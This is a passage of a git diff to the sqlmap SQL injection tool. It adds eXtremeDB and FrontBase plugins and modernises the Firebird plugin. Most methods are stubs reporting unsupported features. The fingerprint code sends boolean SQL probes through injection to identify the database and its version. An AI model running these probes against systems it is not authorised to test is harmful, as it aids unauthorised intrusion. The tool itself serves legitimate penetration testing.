possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def getCurrentDb(self): + warnMsg = "on eXtremeDB it is not possible to get name of the current database" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on eXtremeDB it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on eXtremeDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on eXtremeDB it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on eXtremeDB it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on eXtremeDB it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on eXtremeDB it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on eXtremeDB search option is not available" + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py new file mode 100644 index 00000000000..09a02ac9ec4 --- /dev/null +++ b/plugins/dbms/extremedb/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on eXtremeDB it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on eXtremeDB it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py new file mode 100644 index 00000000000..99e3737735b --- /dev/null +++ b/plugins/dbms/extremedb/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import EXTREMEDB_ALIASES +from lib.core.settings import METADB_SUFFIX +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.EXTREMEDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.EXTREMEDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(EXTREMEDB_ALIASES): + setDbms(DBMS.EXTREMEDB) + return True + + infoMsg = "testing %s" % DBMS.EXTREMEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("signature(NULL)=usignature(NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.EXTREMEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("hashcode(NULL)>=0") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB + logger.warning(warnMsg) + + return False + + setDbms(DBMS.EXTREMEDB) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB + logger.warning(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = ("%s%s" % (DBMS.EXTREMEDB, METADB_SUFFIX)).replace(' ', '_') diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/extremedb/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py new file mode 100644 index 00000000000..fa0f6395c4f --- /dev/null +++ b/plugins/dbms/extremedb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on eXtremeDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on eXtremeDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on eXtremeDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on eXtremeDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 6ea2721b286..08b0f1e79bf 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class FirebirdMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, T def __init__(self): self.excludeDbsList = FIREBIRD_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) - unescaper[DBMS.FIREBIRD] = Syntax.unescape + unescaper[DBMS.FIREBIRD] = Syntax.escape diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 242614e5d92..ac00ce03173 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,17 +1,21 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import kinterbasdb -except ImportError, _: +except: pass +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from lib.core.settings import UNICODE_ENCODING from plugins.generic.connector import Connector as GenericConnector @@ -23,9 +27,6 @@ class Connector(GenericConnector): License: BSD """ - def __init__(self): - GenericConnector.__init__(self) - # sample usage: # ./sqlmap.py -d "firebird://sysdba:testpass@/opt/firebird/testdb.fdb" # ./sqlmap.py -d "firebird://sysdba:testpass@127.0.0.1:3050//opt/firebird/testdb.fdb" @@ -36,27 +37,28 @@ def connect(self): self.checkFileDb() try: - self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \ - user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") #http://www.daniweb.com/forums/thread248499.html - except kinterbasdb.OperationalError, msg: - raise sqlmapConnectionException, msg[1] - self.setCursor() - self.connected() + # Reference: http://www.daniweb.com/forums/thread248499.html + self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") + except kinterbasdb.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() def fetchall(self): try: return self.cursor.fetchall() - except kinterbasdb.OperationalError, msg: - logger.warn("(remote) %s" % msg[1]) + except kinterbasdb.OperationalError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) - except kinterbasdb.OperationalError, msg: - logger.warn("(remote) %s" % msg[1]) - except kinterbasdb.Error, msg: - raise sqlmapConnectionException, msg[1] + except kinterbasdb.OperationalError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except kinterbasdb.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 10fbd404549..2e911310b1b 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,47 +1,38 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getDbs(self): - warnMsg = "on Firebird it is not possible to enumerate databases" - logger.warn(warnMsg) + warnMsg = "on Firebird it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Firebird it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def searchDb(self): warnMsg = "on Firebird it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] - def searchTable(self): - warnMsg = "on Firebird searching of tables is not implemented" - logger.warn(warnMsg) - - return [] + def getHostname(self): + warnMsg = "on Firebird it is not possible to enumerate the hostname" + logger.warning(warnMsg) - def searchColumn(self): - warnMsg = "on Firebird searching of columns is not implemented" - logger.warn(warnMsg) + def getStatements(self): + warnMsg = "on Firebird it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) return [] - - def search(self): - warnMsg = "on Firebird search option is not available" - logger.warn(warnMsg) diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 573400efddb..949e3191976 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Firebird it is not possible to read files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Firebird it is not possible to write files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 1027c8ce8ad..db0bbc07a56 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,17 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode -from lib.core.common import randomInt from lib.core.common import randomRange +from lib.core.common import randomStr +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -19,7 +20,6 @@ from lib.core.session import setDbms from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import METADB_SUFFIX -from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint @@ -47,18 +47,19 @@ def getFingerprint(self): value += actVer return value - actVer = Format.getDbms() + " (%s)" % (self.__dialectCheck()) + actVer = Format.getDbms() + " (%s)" % (self._dialectCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] + banVer = kb.bannerFp.get("dbmsVersion") - if re.search("-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -67,19 +68,21 @@ def getFingerprint(self): return value - def __sysTablesCheck(self): + def _sysTablesCheck(self): retVal = None table = ( - ("1.0", ["EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)"]), - ("1.5", ["NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)"]), - ("2.0", ["EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0"]), - ("2.1", ["BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0"]) - ) + ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), + ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), + ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), + ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), + ("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html + ("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf + ) for i in xrange(len(table)): version, checks = table[i] failed = False - check = checks[randomRange(0, len(checks)-1)].replace("%d", getUnicode(randomRange(1,100))) + check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))).replace("%s", getUnicode(randomStr())) result = inject.checkBooleanExpression(check) if result: @@ -93,7 +96,7 @@ def __sysTablesCheck(self): return retVal - def __dialectCheck(self): + def _dialectCheck(self): retVal = None if Backend.getIdentifiedDbms(): @@ -103,15 +106,7 @@ def __dialectCheck(self): return retVal def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ - or conf.dbms in FIREBIRD_ALIASES) and Backend.getVersion() and \ - Backend.getVersion() != UNKNOWN_DBMS_VERSION: - v = Backend.getVersion().replace(">", "") - v = v.replace("=", "") - v = v.replace(" ", "") - - Backend.setVersion(v) - + if not conf.extensiveFp and Backend.isDbmsWithin(FIREBIRD_ALIASES): setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() @@ -121,8 +116,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) - randInt = randomInt() - result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt)) + result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM RDB$DATABASE WHERE [RANDNUM]=[RANDNUM])>0") if result: infoMsg = "confirming %s" % DBMS.FIREBIRD @@ -132,7 +126,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -141,7 +135,7 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) - version = self.__sysTablesCheck() + version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) @@ -152,7 +146,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index 69f416fb933..a430debce7f 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,72 +1,35 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import isDBMSVersionAtLeast -from lib.core.exception import sqlmapSyntaxException +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod - def unescape(expression, quote=True): - if isDBMSVersionAtLeast('2.1'): - if quote: - while True: - index = expression.find("'") - if index == -1: - break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - unescaped = "" - - for i in xrange(firstIndex, lastIndex): - unescaped += "ASCII_CHAR(%d)" % (ord(expression[i])) - if i < lastIndex - 1: - unescaped += "||" - - expression = expression.replace(old, unescaped) - else: - unescaped = "".join("ASCII_CHAR(%d)||" % ord(c) for c in expression) - if unescaped[-1] == "||": - unescaped = unescaped[:-1] - - expression = unescaped - - return expression - - @staticmethod - def escape(expression): - while True: - index = expression.find("ASCII_CHAR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find(")") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.lstrip("ASCII_CHAR(").rstrip(")") - oldUpper = oldUpper.split("||") - - escaped = "'%s'" % "".join(chr(int(char)) for char in oldUpper) - expression = expression.replace(old, escaped).replace("'||'", "") - - return expression + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Backend.setVersion('2.0') + ['2.0'] + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + >>> Backend.setVersion('2.1') + ['2.1'] + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("ASCII_CHAR(%d)" % _ for _ in getOrds(value)) + + retVal = expression + + if isDBMSVersionAtLeast("2.1"): + retVal = Syntax._escape(expression, quote, escaper) + + return retVal diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index e871b38f9ef..1fb4432d443 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,31 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Firebird it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Firebird it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py new file mode 100644 index 00000000000..5d148c15aaf --- /dev/null +++ b/plugins/dbms/frontbase/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import FRONTBASE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.frontbase.enumeration import Enumeration +from plugins.dbms.frontbase.filesystem import Filesystem +from plugins.dbms.frontbase.fingerprint import Fingerprint +from plugins.dbms.frontbase.syntax import Syntax +from plugins.dbms.frontbase.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class FrontBaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines FrontBase methods + """ + + def __init__(self): + self.excludeDbsList = FRONTBASE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.FRONTBASE] = Syntax.escape diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py new file mode 100644 index 00000000000..2f69bfc8af3 --- /dev/null +++ b/plugins/dbms/frontbase/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on FrontBase it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py new file mode 100644 index 00000000000..374b4f7930e --- /dev/null +++ b/plugins/dbms/frontbase/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on FrontBase it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on FrontBase it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on FrontBase it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on FrontBase it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py new file mode 100644 index 00000000000..7a6654966ee --- /dev/null +++ b/plugins/dbms/frontbase/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on FrontBase it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on FrontBase it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py new file mode 100644 index 00000000000..bb5e15a5c3e --- /dev/null +++ b/plugins/dbms/frontbase/fingerprint.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import FRONTBASE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.FRONTBASE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.FRONTBASE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(FRONTBASE_ALIASES): + setDbms(DBMS.FRONTBASE) + return True + + infoMsg = "testing %s" % DBMS.FRONTBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT degradedTransactions FROM INFORMATION_SCHEMA.IO_STATISTICS)>=0") + + if result: + infoMsg = "confirming %s" % DBMS.FRONTBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT TOP (0,1) file_version FROM INFORMATION_SCHEMA.FRAGMENTATION)>=0") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.FRONTBASE) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/frontbase/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py new file mode 100644 index 00000000000..bc7787c6109 --- /dev/null +++ b/plugins/dbms/frontbase/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on FrontBase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on FrontBase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on FrontBase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on FrontBase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py new file mode 